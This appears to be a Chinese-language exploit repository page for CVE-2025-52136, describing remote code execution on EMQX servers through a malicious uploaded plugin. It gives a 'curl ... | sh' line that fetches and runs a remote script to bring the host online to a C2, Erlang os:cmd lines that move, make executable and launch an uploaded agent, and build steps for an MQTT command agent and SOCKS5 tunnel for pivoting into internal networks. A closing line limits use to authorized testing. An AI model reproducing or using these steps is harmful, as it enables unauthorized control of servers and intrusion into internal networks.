关联漏洞
描述
EMQX控制台不出网利用
介绍
# CVE-2025-52136
```
https://github.com/ricardojoserf/emqx-RCE
原利用方式通过上传emqx插件,在插件模板的代码中添加Erlang os模块调用系统命令执行RCE
```
出网环境,环境默认存在curl,可以直接通过`curl http://xx.xx.xx.xx/1.sh | sh`上线C2
目标不出网时,由于EMQX本身即为MQTT消息服务器,因此可以直接配合插件上传,在EMQX服务器执行上传的可执行程序
使用EMQX做MQTT消息队列核心,部署的程序直接作为一个“系统命令代理”,订阅客户端发送的命令,再把执行结果发布回主题。
## 设计思路
```lua
+-------------+
| 客户端 |
| 发送命令消息 |
| 主题: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| 命令代理程序 |
| 订阅 rx/cmd |
| 执行系统命令 |
| 发布 tx/cmd |
+--------------+
```
## 编译使用
```
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
```
随后利用原作者利用思路,`my_emqx_plugin.erl`添加三行
```
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
```
编译完插件后,利用任意压缩工具将mqtt_agent放到`my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\`目录即可

上传插件

随后在客户端将tx/cmd添加订阅,主题为rx/cmd,即可食用

## 代理隧道
同理,通过MQTT在 Client ↔ Agent 间可以开一个隧道,并把 TCP 数据双向透过 MQTT 转发给内网 Agent,再由 Agent 连接到内网目标主机即可实现利用内网穿透。
此方案存在一定缺陷:
1.MQTT 带宽与延迟
2.高并发连接
```
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
```
使用方式类似上述rce过程,这里直接起用本地端口做socks5隧道转发流量
### Agent端注意
- Agent 必须兼容自定义的topic与控制消息(open/ack/close、data/c2a、data/a2c)
- Agent 订阅 tunnel/+/+/ctrl 与 tunnel/+/+/data/c2a
- Agent publish 到 tunnel/{session}/{connID}/data/a2c 以及 .../ctrl 的 ack
代理隧道自行编译食用
## 注意
该工具仅适用于在授权环境/测试环境进行使用,严禁非法利用
文件快照
[4.0K] /data/pocs/41841597ed27517a44bf86164f49435b4c0f534e
├── [1.0K] LICENSE
├── [4.0K] mqtt_agent
│ ├── [1.8K] agent.go
│ ├── [ 218] go.mod
│ └── [ 672] go.sum
├── [4.0K] mqtt_tunnel
│ ├── [3.6K] mqtt_tunnel_agent.go
│ └── [4.9K] mqtt_tunnel_client.go
├── [4.0K] png
│ ├── [ 22K] ScreenShot1.png
│ ├── [ 61K] ScreenShot2.png
│ └── [ 35K] ScreenShot3.png
└── [2.9K] README.md
3 directories, 10 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。